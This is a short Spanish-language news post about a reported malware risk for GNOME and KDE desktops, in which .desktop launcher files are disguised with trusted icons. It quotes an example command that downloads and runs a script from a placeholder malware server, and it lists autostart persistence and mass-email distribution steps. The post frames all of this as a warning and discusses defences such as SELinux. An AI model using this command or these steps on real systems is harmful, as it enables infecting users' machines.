Amenazas de virus para GNOME y KDE.
Linux Weekly News está discutiendo de manera amplia el problema, que de cierta manera permite a un atacante disfrazar un archivo .desktop con el icono de Inicio o cualquier programa. Básicamente el artículo de foobar sugiere explotar la confianza que tiene los usuarios de GNU/Linux en el sistemas, pero sin subestimarlos, utilizando archivos .desktop que se disfrazan con iconos de otras aplicaciones, y que ejecutan guiones remotos, como el siguiente ejemplo:
% bash -c "curl http://www.some_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py"
El artículo también sugiere utilizar ~/.config/autostart y ~/.kde/Autostart para asegurarse que el guión se ejecute automáticamente en cada inicio de sesión.
La guía resumida, sugiere lo siguiente:
- Escribir un código a la elección del atacante.
- Implementar en éste último la capacidad de instalarse e iniciarse a si mismo.
- Crear un archivo lanzador de escritorio para ejecutar el código.
- Adjuntar el código a un correo electrónico.
- Enviar el correo electrónico a cuantas direcciones de correo se pueda.
Todo esto ha puesto en alerta a muchos desarrolladores, que ahora comienzan a pensar y preocuparse de las medidas a utilizar. Este es posiblemente una buena excusa para volver a reactivar SELinux en los escritorios donde fue desactivado para mejorar rendimiento, y comenzar a pensar como implementar un antivirus del mismo modo que se hace en Windows, solo por sanidad mental. En fin, los desarrolladores han vuelto a tocar el tema, y es casi seguro que se hará algo al respecto en el futuro cercano (la menos eso esperamos).
Fuente: Slashdot.
